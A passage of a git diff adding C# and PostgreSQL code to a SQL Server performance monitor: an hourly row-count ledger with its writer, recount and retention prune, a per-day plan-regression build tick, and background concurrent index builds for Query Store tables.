+            AddServerDay(mark, serverId, day);
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = seq });
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = sourceRows });
+
+            /* The built row is made before the transaction (see EnsureBuiltSql), so a second service's cleanup can remove it
+               in between, for a server that was just disabled. Then the stamp updates nothing, and committing would leave
+               totals no built row owns, which the cleanup (driven by built rows) would never remove. Throwing rolls the
+               build back; the tick logs a failed build and the next tick plans it again. */
+            if (await mark.ExecuteNonQueryAsync(cancellationToken) != 1)
+            {
+                throw new InvalidOperationException(
+                    $"The built row for server {serverId} day {day:yyyy-MM-dd} is gone, so the build is rolled back.");
+            }
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return sourceRows;
+    }
+
+    private static void AddServerDay(NpgsqlCommand command, int serverId, DateOnly day)
+    {
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+    }
+
+    /// <summary>
+    /// One maintenance tick, the hourly store-maintenance tick's seventh tenant (#5448): remove expired days, plan, then build
+    /// each item in its own transaction, oldest day first. A build that fails is logged as a WARNING (naming the server and
+    /// day) and the loop goes on: the day stays live for readers and the next tick plans it again. Once
+    /// <see cref="MaxTickDuration"/> has passed no further build starts, and the planned items left are reported as deferred.
+    /// </summary>
+    public static Task<TickResult> RunTickAsync(NpgsqlDataSource dataSource, DateTime nowUtc, ILogger logger, CancellationToken cancellationToken)
+    {
+        var clock = Stopwatch.StartNew();
+        return RunTickAsync(dataSource, nowUtc, logger, () => clock.Elapsed, cancellationToken);
+    }
+
+    /// <summary><see cref="RunTickAsync(NpgsqlDataSource, DateTime, ILogger, CancellationToken)"/> with the elapsed time since
+    /// the tick began supplied by <paramref name="elapsed"/>, read before each build starts.</summary>
+    public static async Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, ILogger logger, Func<TimeSpan> elapsed, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        ArgumentNullException.ThrowIfNull(logger);
+        ArgumentNullException.ThrowIfNull(elapsed);
+
+        int built = 0, failed = 0, skipped = 0, started = 0;
+
+        await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+        var removed = await GcAsync(connection, nowUtc, cancellationToken);
+        var plan = await PlanBuildsAsync(connection, nowUtc, cancellationToken);
+
+        foreach (var item in plan)
+        {
+            if (elapsed() >= MaxTickDuration)
+            {
+                break;
+            }
+
+            started++;
+            try
+            {
+                if (await BuildDayAsync(connection, item.ServerId, item.Day, nowUtc, cancellationToken) is null)
+                {
+                    skipped++;
+                }
+                else
+                {
+                    built++;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed++;
+                logger.LogWarning(ex, "PLAN_REGRESSION daily totals: building server {ServerId} day {Day:yyyy-MM-dd} failed and is retried next tick (the day stays live for readers): {Message}",
+                    item.ServerId, item.Day, ex.Message);
+            }
+        }
+
+        var deferred = plan.Count - started;
+        var result = new TickResult(built, failed, skipped, removed, deferred);
+        logger.LogInformation("PLAN_REGRESSION daily totals: built {Built}, failed {Failed}, skipped {Skipped}, deferred {Deferred}, removed {Removed} day(s)",
+            built, failed, skipped, deferred, removed);
+        return result;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedger.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedger.cs
new file mode 100644
index 0000000000..eb2b92e352
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedger.cs
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The hourly row-count ledger of <c>collect.query_stats</c> (#4605): one row per (hour, server) holding how many
+/// non-restart rows the collector has written into that hour. A long-window read that takes its middle hours from the
+/// hourly interval rollup may do so only when the rollup holds every raw row those hours have, and the count guard
+/// (<see cref="IntervalRollupCountGuard"/>) proves that by comparing, per (server, hour), the raw row count with the
+/// rollup's <c>sum(sample_count)</c>. Counting raw is a scan of millions of rows and runs past any panel deadline. The
+/// ledger moves that count to write time: the collector adds each batch's count in the same transaction as its COPY,
+/// so under one read snapshot the ledger counts every row raw holds from this build's writer (the writer census pin checks
+/// this build's code only, and <see cref="IntervalRollupCountGuard"/> names the one case a pass can miss), and the guard's
+/// ledger half reads one small row per (server, hour) instead of every raw row. The guard's rollup half still sums the rollup's rows for the window, so the
+/// guard costs about one pass over those rows and no raw rows; the large-store timing is measured after deployment, by the
+/// acceptance read of #4605. This class and the V164 rung are the storage half; the guard's read of the ledger is
+/// <see cref="IntervalRollupCountGuard"/>, and the writer in the collector's COPY, the census pin on writers and the
+/// retention prune are the other lanes of #4605.
+///
+/// <para><b>What is counted.</b> Exactly the population the rollup counts: rows whose <c>sample_interval_seconds</c> is
+/// not 0. A restart row (0, a delta that was not knowable) is not counted, and a row with a NULL interval (written
+/// before the column existed) is, the same as the rollup's own <c>WHERE sample_interval_seconds IS DISTINCT FROM 0</c>.
+/// An hour with no counted rows has no ledger row, as it has no rollup row.</para>
+///
+/// <para><b>Hours and names.</b> <c>bucket</c> is the whole hour, naive UTC like every instant in the store.
+/// <c>date_trunc('hour', ...)</c> is used rather than <c>time_bucket('1 hour', ...)</c> because it gives the same
+/// hour for a naive timestamp and exists on a store without TimescaleDB. <c>server_name</c> is the spelling the COPY
+/// writes into <c>collect.query_stats.server_name</c> (the server's storage name), so a ledger row and the rollup's row
+/// for the same server and hour join on equal keys.</para>
+///
+/// <para><b>Where counting starts.</b> The ledger holds nothing for rows written before the store reached V164. The
+/// one-row state table's <c>counted_since</c> is the first whole hour from which every row is counted: the rung sets
+/// it to the next whole hour after it ran, and an hour that was only partly written before the upgrade stays below it.
+/// A reader must treat any window that starts before <c>counted_since</c> as uncounted and stay on raw. Moving it
+/// earlier is the job of a backfill that recounts closed hours with <see cref="RecountSql"/>; no such job exists yet.</para>
+///
+/// <para><b>Plain tables, no grants.</b> Both tables are plain, not hypertables, and not collectors: a server adds 24
+/// rows a day and the retention pass will prune the table to the hourly rollup's horizon. They sit in the <c>collect</c> schema, so the
+/// blanket SELECT and the owner's default privileges that provisioning re-asserts at every start (admin, viewer and
+/// mcp) cover them with no statement of their own. The collector writes as the owner.</para>
+///
+/// <para><b>The key is hour first.</b> The guard reads a range of hours across every server and the retention pass
+/// deletes below one hour, so the primary key leads with <c>bucket</c>: both are index range scans, and no second index
+/// costs a write. The writer's conflict target names all three key columns, which matches the key in any order.</para>
+/// </summary>
+public static class QueryStatsHourLedger
+{
+    /// <summary>The ledger table: one row per (hour, server) with the count of non-restart <c>collect.query_stats</c> rows written into that hour.</summary>
+    public const string LedgerTable = "collect.query_stats_hour_ledger";
+
+    /// <summary>The one-row state table: <c>counted_since</c> is the first whole hour from which every row is in the ledger.</summary>
+    public const string StateTable = "collect.query_stats_hour_ledger_state";
+
+    /// <summary>
+    /// The store schema version of the rung that creates both tables (V164). A store below it has neither table, so a
+    /// reader checks the store's schema version against this before it names them: the hourly-edges runner does, and a
+    /// store below the rung reads raw with no fault to log (#4605). <c>QueryStatsHourLedgerTests</c> pins it to the
+    /// version the rung is registered under.
+    /// </summary>
+    public const int RungVersion = 164;
+
+    /// <summary>
+    /// Both tables and the state row, as the V164 rung runs them. Idempotent: the tables are guarded and the state row
+    /// is inserted once (<c>ON CONFLICT DO NOTHING</c>), so a re-run of the rung keeps the original
+    /// <c>counted_since</c>. The rung embeds this text, so editing it edits a shipped rung: add a new rung instead, and
+    /// <c>QueryStatsHourLedgerTests</c> pins the shape so such an edit fails there first.
+    /// </summary>
+    public const string CreateSql = @"
+CREATE TABLE IF NOT EXISTS collect.query_stats_hour_ledger
+(
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    bucket timestamp NOT NULL,
+    n bigint NOT NULL,
+    CONSTRAINT pk_query_stats_hour_ledger PRIMARY KEY (bucket, server_id, server_name)
+);
+
+CREATE TABLE IF NOT EXISTS collect.query_stats_hour_ledger_state
+(
+    id integer NOT NULL,
+    counted_since timestamp NOT NULL,
+    CONSTRAINT pk_query_stats_hour_ledger_state PRIMARY KEY (id),
+    CONSTRAINT ck_query_stats_hour_ledger_state_single_row CHECK (id = 1)
+);
+
+INSERT INTO collect.query_stats_hour_ledger_state (id, counted_since)
+VALUES (1, date_trunc('hour', now() AT TIME ZONE 'UTC') + interval '1 hour')
+ON CONFLICT (id) DO NOTHING;";
+
+    /// <summary>
+    /// Adds one batch's count to its hour: <c>$1</c> is the server id, <c>$2</c> the server's storage name (the
+    /// spelling the COPY writes), <c>$3</c> the batch's <c>collection_time</c> (naive UTC <c>timestamp</c>, truncated
+    /// to its hour here) and <c>$4</c> the number of rows the batch wrote whose <c>sample_interval_seconds</c> is not 0
+    /// (a NULL interval counts). A new hour inserts the count and an existing one adds to it. A count of 0 or less
+    /// writes nothing, because the rollup has no row for an hour with no counted rows and a ledger row of 0 would not
+    /// equal that. Run it on the COPY's own transaction and after the COPY, so the ledger and the raw rows commit
+    /// together or not at all.
+    /// </summary>
+    public const string UpsertSql = @"
+INSERT INTO collect.query_stats_hour_ledger AS ledger (server_id, server_name, bucket, n)
+SELECT $1::integer, $2::text, date_trunc('hour', $3::timestamp), $4::bigint
+WHERE $4::bigint > 0
+ON CONFLICT (bucket, server_id, server_name) DO UPDATE SET n = ledger.n + EXCLUDED.n;";
+
+    /// <summary>
+    /// Recomputes the ledger from raw for a range of hours: <c>$1</c> is the start and <c>$2</c> the end (exclusive),
+    /// both naive UTC <c>timestamp</c>. The range is widened to whole hours (the start rounds down, the end up), because
+    /// a partial hour would write a count that is too low. Within the range the ledger is made equal to raw: a
+    /// (server, hour) with raw rows is set to its count (not added), and a ledger row with no raw rows is deleted. It
+    /// counts the rollup's population (<c>sample_interval_seconds IS DISTINCT FROM 0</c>, so restart rows are
+    /// skipped and NULL intervals counted) and writes <c>server_name</c> as raw holds it, which is the spelling the
+    /// COPY wrote. Returns one row: the number of ledger rows written and the number deleted.
+    /// <para>It does not touch the state row. Run it over closed hours: a batch that commits while it runs can be
+    /// overwritten, which leaves the ledger below the rollup and so fails the guard safe, never wrongly passes it.
+    /// Tests use it to seed the ledger from raw rows they insert, and a backfill uses it before it moves
+    /// <c>counted_since</c> back.</para>
+    /// </summary>
+    public const string RecountSql = @"
+WITH raw AS (
+    SELECT server_id, server_name, date_trunc('hour', collection_time) AS bucket, count(*) AS n
+    FROM collect.query_stats
+    WHERE collection_time >= date_trunc('hour', $1::timestamp)
+      AND collection_time < date_trunc('hour', $2::timestamp - interval '1 microsecond') + interval '1 hour'
+      AND sample_interval_seconds IS DISTINCT FROM 0
+    GROUP BY 1, 2, 3
+),
+cleared AS (
+    DELETE FROM collect.query_stats_hour_ledger AS stale
+    WHERE stale.bucket >= date_trunc('hour', $1::timestamp)
+      AND stale.bucket < date_trunc('hour', $2::timestamp - interval '1 microsecond') + interval '1 hour'
+      AND NOT EXISTS (
+          SELECT 1 FROM raw
+          WHERE raw.bucket = stale.bucket AND raw.server_id = stale.server_id AND raw.server_name = stale.server_name)
+    RETURNING 1
+),
+written AS (
+    INSERT INTO collect.query_stats_hour_ledger AS ledger (server_id, server_name, bucket, n)
+    SELECT server_id, server_name, bucket, n FROM raw
+    ON CONFLICT (bucket, server_id, server_name) DO UPDATE SET n = EXCLUDED.n
+    RETURNING 1
+)
+SELECT (SELECT count(*) FROM written)::bigint AS rows_written, (SELECT count(*) FROM cleared)::bigint AS rows_deleted;";
+
+    /// <summary>
+    /// The retention prune (#4605): deletes every ledger bucket below <c>$1</c> (naive UTC <c>timestamp</c>, truncated to
+    /// its hour here so a cutoff mid-hour never splits a bucket). The caller passes the successor hourly rollup's
+    /// horizon, <c>now - <see cref="TimescaleSupport.HourlyRetentionSpan"/></c>, and NOT raw's: raw keeps four days and
+    /// the rollup keeps ninety, and the guard compares the ledger with the rollup, so a ledger pruned at raw's horizon
+    /// would be missing the hours the rollup still holds and the guard would fail every window past four days. A plain
+    /// single DELETE is enough: the table holds about one row per server per hour (servers x 24 x retention days), and
+    /// the primary key leads with <c>bucket</c>, so the predicate is an index range scan. Idempotent, and a table with
+    /// nothing below the cutoff deletes nothing.
+    /// </summary>
+    public const string PruneSql = @"
+DELETE FROM collect.query_stats_hour_ledger
+WHERE bucket < date_trunc('hour', $1::timestamp);";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedgerWriter.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedgerWriter.cs
new file mode 100644
index 0000000000..1fd8ac002e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedgerWriter.cs
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The write half of the hourly row-count ledger (#4605, plan lane 2): what a <c>collect.query_stats</c> batch adds to
+/// <see cref="QueryStatsHourLedger.LedgerTable"/>, and the one statement that adds it. The ledger's table, upsert and
+/// recount are <see cref="QueryStatsHourLedger"/>; the caller is <c>DarlingCollectorRunner.CopyBatchOnceAsync</c>, the
+/// only code that writes <c>collect.query_stats</c>.
+///
+/// <para><b>What a batch adds, and where it is counted.</b> The number of rows the batch wrote whose
+/// <c>sample_interval_seconds</c> is not 0 (a NULL counts, as the rollup counts it). The count is taken by
+/// <see cref="PgCollectorRowWriter.CountNonZeroAt"/> at the exact write of that column, from the value the COPY sends,
+/// at the payload position <see cref="IntervalPayloadIndex"/> resolves from the same <c>PayloadColumns</c> list the COPY's
+/// column list is built from. Nothing here re-derives the interval from the row: <c>QueryStatsCollector.WritePayload</c>
+/// computes it from the delta calculator, which moves a baseline as it does, and a second derivation could disagree with
+/// the first.</para>
+///
+/// <para><b>One batch is one hour.</b> <c>CopyBatchOnceAsync</c> stamps every row of a batch with the same
+/// <c>storedCollectionTime</c> local (it writes that one value into the <c>collection_time</c> column for each row and
+/// takes no per-row time), so a batch cannot span two hours and a single upsert is exact.</para>
+///
+/// <para><b>Atomic with the COPY, and fatal to it.</b> <see cref="AddBatchAsync"/> runs on the COPY's own transaction,
+/// after the COPY and the dimension flush and before the commit, with no savepoint: a fault in it throws out of the batch,
+/// the transaction rolls back and the batch's raw rows are not stored. Raw and the ledger therefore commit together or not
+/// at all, which is the invariant the count guard rests on. The cost of a fault is the batch's sample: the fault lands
+/// in the unstamped region of <c>CopyBatchOnceAsync</c> (after the COPY block), which <c>StoreWriteReattempt</c> declines
+/// because the row loop has run and the delta baselines have moved, so the collector's next cycle is the retry. Losing
+/// the count silently instead would leave the ledger below the rollup and quietly fail the guard for the hour.</para>
+/// </summary>
+public static class QueryStatsHourLedgerWriter
+{
+    /// <summary>The payload column whose written value the ledger counts (the rollup's <c>WHERE sample_interval_seconds IS DISTINCT FROM 0</c>).</summary>
+    public const string IntervalColumn = "sample_interval_seconds";
+
+    /// <summary>
+    /// The payload position of <see cref="IntervalColumn"/> in <paramref name="schema"/>'s <c>PayloadColumns</c>, the order
+    /// the COPY and <see cref="PgCollectorRowWriter"/> both use. Throws when the column is missing, because a batch that
+    /// cannot be counted must not be written: an uncounted batch is the one way the ledger falls below the rollup without
+    /// a fault.
+    /// </summary>
+    public static int IntervalPayloadIndex(ICollectorSchemaInfo schema)
+    {
+        ArgumentNullException.ThrowIfNull(schema);
+
+        for (var i = 0; i < schema.PayloadColumns.Count; i++)
+        {
+            if (string.Equals(schema.PayloadColumns[i].Name, IntervalColumn, StringComparison.Ordinal))
+            {
+                return i;
+            }
+        }
+
+        throw new InvalidOperationException(
+            $"Collector '{schema.Name}' declares no payload column '{IntervalColumn}', so its rows cannot be counted into {QueryStatsHourLedger.LedgerTable} (#4605).");
+    }
+
+    /// <summary>
+    /// Fails the batch before its COPY completes when any row wrote the interval through an overload the tally does not
+    /// see (#4605): an undercounted ledger is the one error the tally must not make silently. The runner calls this with
+    /// the rows it wrote and <see cref="PgCollectorRowWriter.CountedWrites"/>; it is a method of its own so a test can
+    /// fail the check, which a substring pin in the runner's source cannot do.
+    /// </summary>
+    public static void EnsureEveryRowTallied(string collectorName, int rowsWritten, long countedWrites)
+    {
+        if (countedWrites != rowsWritten)
+        {
+            throw new InvalidOperationException(
+                $"The {collectorName} batch wrote {rowsWritten} rows but {countedWrites} integer values at " +
+                $"'{IntervalColumn}', so its ledger count would be wrong (#4605).");
+        }
+    }
+
+    /// <summary>
+    /// Adds one batch's count to its hour on the COPY's transaction (<see cref="QueryStatsHourLedger.UpsertSql"/>).
+    /// <paramref name="serverName"/> must be the storage name the COPY wrote into <c>server_name</c>, byte for byte, and
+    /// <paramref name="collectionTime"/> the batch's stored <c>collection_time</c>. A <paramref name="count"/> of 0 or less
+    /// writes nothing and costs no round trip: the rollup has no row for an hour with no counted rows. Returns the rows
+    /// the statement affected (1, or 0 when it wrote nothing).
+    /// </summary>
+    public static async Task<int> AddBatchAsync(
+        NpgsqlConnection connection,
+        NpgsqlTransaction transaction,
+        int serverId,
+        string serverName,
+        DateTime collectionTime,
+        long count,
+        int commandTimeoutSeconds,
+        CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        ArgumentNullException.ThrowIfNull(transaction);
+        ArgumentNullException.ThrowIfNull(serverName);
+
+        if (count <= 0)
+        {
+            return 0;
+        }
+
+        await using var command = new NpgsqlCommand(QueryStatsHourLedger.UpsertSql, connection, transaction) { CommandTimeout = commandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = serverName });
+
+        /* Naive-UTC storage: Npgsql 6+ rejects Kind=Utc against `timestamp` - see PgCollectorRowWriter. */
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = count });
+        return await command.ExecuteNonQueryAsync(cancellationToken);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreBackgroundIndexes.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreBackgroundIndexes.cs
new file mode 100644
index 0000000000..aa50080899
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreBackgroundIndexes.cs
@@ -0,0 +1,563 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The Query Store read indexes that are built in the background after the service is up rather than by a
+/// migration rung (#4605's BRIN, #4952's and #5507's btrees), and the one piece of machinery they share: the state read,
+/// the build-or-skip decision, the invalid-leftover drop, the build and the delayed start.
+///
+/// <para><b>Why not a migration rung.</b> Migrations run in one transaction and block startup, and
+/// <c>CREATE INDEX CONCURRENTLY</c> cannot run inside a transaction (25001). A plain in-rung build would hold a lock
+/// that blocks the writer for the whole heap read. An applied rung also never changes, so each ensure is idempotent
+/// and runs on every start: a fresh store builds an empty table's index instantly and no table-creation change is
+/// needed.</para>
+///
+/// <para><b>One launch, one build at a time.</b> <see cref="RunDelayedAsync"/> waits <see cref="StartDelay"/>
+/// (20 minutes) once, then ensures each index in <see cref="All"/> in order, each on its own connection and each
+/// failure-isolated: a store's volume sits at its IOPS cap for about 15 minutes after an install or restart (cold
+/// cache, migrations, the retention purge, the continuous-aggregate refresh), and builds that each read a whole
+/// table must not stack on top of it, or on each other. One attempt is made per service start; a failure or an
+/// interrupted build is retried at the next start.</para>
+///
+/// <para><b>An interrupted build leaves an INVALID index behind</b> (a <c>CREATE INDEX CONCURRENTLY</c> that is
+/// cancelled or fails mid-build). <c>IF NOT EXISTS</c> would silently keep it, so <see cref="EnsureAsync"/> reads
+/// validity first and drops an INVALID leftover before building.</para>
+///
+/// <para><b>Plain tables only.</b> Every index here is built <c>CREATE INDEX CONCURRENTLY</c>
+/// (<see cref="IndexSpec.PlainCreateSql"/>), which blocks no writes. TimescaleDB refuses <c>CONCURRENTLY</c> on a
+/// hypertable ("hypertables do not support concurrent index creation"), so a spec whose table is a hypertable is
+/// skipped with a warning instead of failing or retrying. The per-chunk alternative
+/// (<c>WITH (timescaledb.transaction_per_chunk)</c>) is deliberately not offered: it takes a ShareLock on each chunk
+/// it builds, for that chunk's scan, and the collector's COPY into a chunk waits behind it under a 10 s deadline.
+/// The Query Store backfill writes backdated rows into older chunks as well as the newest, so no chunk of
+/// <c>collect.query_store_stats</c>, a hypertable, is safe to lock while the service runs, and no spec
+/// targets it. The partial index that serves the legacy-row check is built on the start path instead
+/// (<c>PgTableTuning</c>), before collectors start.</para>
+/// </summary>
+public static class QueryStoreBackgroundIndexes
+{
+    /// <summary>How long after the service is up the background step waits before its one attempt.</summary>
+    public static readonly TimeSpan StartDelay = TimeSpan.FromMinutes(20);
+
+    /// <summary>
+    /// Command deadline for a build and a drop, in seconds. A build reads a whole heap (about 108 s at 25 GB for the
+    /// BRIN, several minutes at a full 9 days' retention). Two hours leaves headroom on a slow volume while still
+    /// bounding a build stuck behind a long transaction; shutdown cancels it sooner.
+    /// </summary>
+    public const int BuildTimeoutSeconds = 7200;
+
+    /// <summary>Deadline for the catalog reads, in seconds.</summary>
+    public const int CatalogReadTimeoutSeconds = 30;
+
+    /// <summary>Name of the btree that lets the per-server table read range-scan <c>first_execution_time</c> (#4952).</summary>
+    public const string WideServerFirstExecIndexName = "collect.ix_query_store_interval_wide_server_first_exec";
+
+    /// <summary>Name of the btree that lets the per-day plan regression build range-scan <c>first_execution_time</c> on the latest table (#5507).</summary>
+    public const string LatestServerFirstExecIndexName = "collect.ix_query_store_interval_latest_server_first_exec";
+
+    /// <summary>What the ensure does about one index.</summary>
+    public enum IndexAction
+    {
+        /// <summary>Build (or keep) the index on a plain table.</summary>
+        Build,
+
+        /// <summary>Skip: the server predates the index's version floor.</summary>
+        SkipServerVersion,
+
+        /// <summary>Skip: the table is a hypertable, which refuses <c>CREATE INDEX CONCURRENTLY</c>.</summary>
+        SkipHypertable,
+    }
+
+    /// <summary>The decision and, for a skip, the reason to log.</summary>
+    public readonly record struct IndexDecision(IndexAction Action, string Reason);
+
+    /// <summary>One background index: its names, the statements that build and drop it, and when it may not be built.</summary>
+    /// <param name="IndexName">The index's schema-qualified name.</param>
+    /// <param name="TableName">The table's schema-qualified name (<c>schema.name</c>); the hypertable probe splits it at the last dot.</param>
+    /// <param name="PlainCreateSql">The build for a plain table; <c>CONCURRENTLY</c>, idempotent. A hypertable is skipped instead.</param>
+    /// <param name="PlainDropSql">The drop of an INVALID leftover on a plain table.</param>
+    /// <param name="MinimumServerVersionNum">The first <c>server_version_num</c> that may build it; 0 for any.</param>
+    /// <param name="BelowMinimumReason">Why a server below the floor must not build it, for the log.</param>
+    /// <param name="IndexDefinition">
+    /// What follows <c>ON &lt;table&gt;</c> in the index's definition (<c>(server_id, first_execution_time)</c>,
+    /// <c>USING brin (collection_time) WITH (autosummarize = off)</c>). The partitioned path (#5571) builds the parent
+    /// <c>ON ONLY</c> and each leaf's child from it. Empty for a spec that is never aimed at a partitioned table.
+    /// </param>
+    public sealed record IndexSpec(
+        string IndexName,
+        string TableName,
+        string PlainCreateSql,
+        string PlainDropSql,
+        int MinimumServerVersionNum = 0,
+        string BelowMinimumReason = "",
+        string IndexDefinition = "");
+
+    /// <summary>
+    /// A btree on <c>collect.query_store_interval_wide (server_id, first_execution_time)</c> (#4952), built
+    /// <c>CONCURRENTLY</c> (the table is a plain heap).
+    ///
+    /// <para><b>Why.</b> The per-server table reads bound <c>first_execution_time</c> (#4861), but in the unique
+    /// key it is the seventh column, behind <c>database_name</c>, <c>runtime_stats_interval_id</c>, <c>plan_id</c>,
+    /// <c>query_id</c> and <c>replica_role</c>, so the bound cannot narrow the range: the scan reads every index entry
+    /// the server has and tests the bound on each (4.3 s and 32,787 index blocks of a 7.7 s read at 24 h; at 168 h the
+    /// planner switched to an index-order walk with random heap fetches, 28 s). The other index on the column
+    /// (<c>idx_query_store_interval_wide_first_exec</c>) does not lead with <c>server_id</c>. This one does, so the
+    /// bound becomes the range and the 168 h read can take a bitmap heap scan.</para>
+    ///
+    /// <para><b>HOT.</b> <c>first_execution_time</c> is part of the upsert's identity and <c>server_id</c> is its
+    /// first key, so <c>ON CONFLICT ... DO UPDATE</c> rewrites neither and an update stays heap-only (the regression
+    /// class #4250 fixed); the live tests pin both the catalog fact and a rolled-back update.</para>
+    /// </summary>
+    public static readonly IndexSpec WideServerFirstExec = new(
+        WideServerFirstExecIndexName,
+        "collect.query_store_interval_wide",
+        "CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_interval_wide_server_first_exec "
+        + "ON collect.query_store_interval_wide (server_id, first_execution_time);",
+        "DROP INDEX CONCURRENTLY IF EXISTS collect.ix_query_store_interval_wide_server_first_exec;",
+        IndexDefinition: "(server_id, first_execution_time)");
+
+    /// <summary>
+    /// A btree on <c>collect.query_store_interval_latest (server_id, first_execution_time)</c> (#5507), built
+    /// <c>CONCURRENTLY</c> (the table is a plain heap), the twin of <see cref="WideServerFirstExec"/>.
+    ///
+    /// <para><b>Why.</b> <c>PlanRegressionDaily</c>'s per-day build, the live half of the PLAN_REGRESSION fact, its
+    /// table route (<c>PlanRegressionTableSql</c>), the drill-down table twin and the read gate's floor all bound
+    /// <c>server_id</c> and <c>first_execution_time</c> on
+    /// this table. In <c>ux_query_store_interval_latest</c> <c>first_execution_time</c> is the last of seven columns,
+    /// behind five other key columns, three of them high-cardinality (<c>runtime_stats_interval_id</c>,
+    /// <c>plan_id</c>, <c>query_id</c>; <c>database_name</c> and <c>replica_role</c> are not), so the bound cannot
+    /// narrow the range and the scan reads every index entry
+    /// the server has. V153's <c>idx_query_store_interval_latest_first_exec</c> leads with <c>first_execution_time</c>
+    /// alone, so it serves the retention purge (#4608) but not a per-server read. This index leads with
+    /// <c>server_id</c>, so the bound becomes the range and a build reads only its server's two days. V153's index
+    /// stays: the purge needs it.</para>
+    ///
+    /// <para><b>Why not a rung.</b> A rung would build inside the startup transaction, which cancels after
+    /// <c>MigrationCommandTimeoutSeconds</c> (300 s) of backend silence, so a large store would fail every start. The
+    /// background build has no such limit; until it is valid, builds run at today's cost.</para>
+    ///
+    /// <para><b>HOT.</b> As on the wide table: the upsert never rewrites <c>server_id</c> or
+    /// <c>first_execution_time</c>, so an update stays heap-only; the live tests pin the catalog fact and a
+    /// rolled-back update.</para>
+    /// </summary>
+    public static readonly IndexSpec LatestServerFirstExec = new(
+        LatestServerFirstExecIndexName,
+        "collect.query_store_interval_latest",
+        "CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_interval_latest_server_first_exec "
+        + "ON collect.query_store_interval_latest (server_id, first_execution_time);",
+        "DROP INDEX CONCURRENTLY IF EXISTS collect.ix_query_store_interval_latest_server_first_exec;",
+        IndexDefinition: "(server_id, first_execution_time)");
+
+    /// <summary>Every background index, in the order the one delayed task ensures them.</summary>
+    public static readonly IReadOnlyList<IndexSpec> All = new[]
+    {
+        QueryStoreIntervalWideBrinIndex.Spec,
+        WideServerFirstExec,
+        LatestServerFirstExec,
+    };
+
+    /* One read of everything the decision needs. The names are bound, never interpolated. */
+    internal const string StateSql = @"
+SELECT
+    current_setting('server_version_num')::int AS server_version_num,
+    to_regclass($1) IS NOT NULL AS table_exists,
+    to_regclass('timescaledb_information.hypertables') IS NOT NULL AS has_hypertable_view,
+    (SELECT i.indisvalid
+     FROM pg_index AS i
+     WHERE i.indexrelid = to_regclass($2)) AS index_valid,
+    (SELECT c.relkind::text FROM pg_class AS c WHERE c.oid = to_regclass($1)) AS table_kind;";
+
+    /* Reached only when StateSql reported the view exists, so a store without TimescaleDB never parses it. $1 is the
+       table's schema and $2 its name (SplitTableName), each compared as it is rather than through a concatenation, so
+       how a spec spells its TableName decides nothing beyond the schema and the name themselves. */
+    internal const string HypertableSql = @"
+SELECT EXISTS
+(
+    SELECT 1
+    FROM timescaledb_information.hypertables AS h
+    WHERE h.hypertable_schema = $1
+    AND   h.hypertable_name = $2
+);";
+
+    /// <summary>
+    /// A schema-qualified table name split at its last dot into the schema and the name, the two values the hypertable
+    /// probe binds. A name without both parts is a defect in the spec, so it is rejected rather than guessed at.
+    /// </summary>
+    internal static (string Schema, string Name) SplitTableName(string tableName)
+    {
+        ArgumentNullException.ThrowIfNull(tableName);
+        var dot = tableName.LastIndexOf('.');
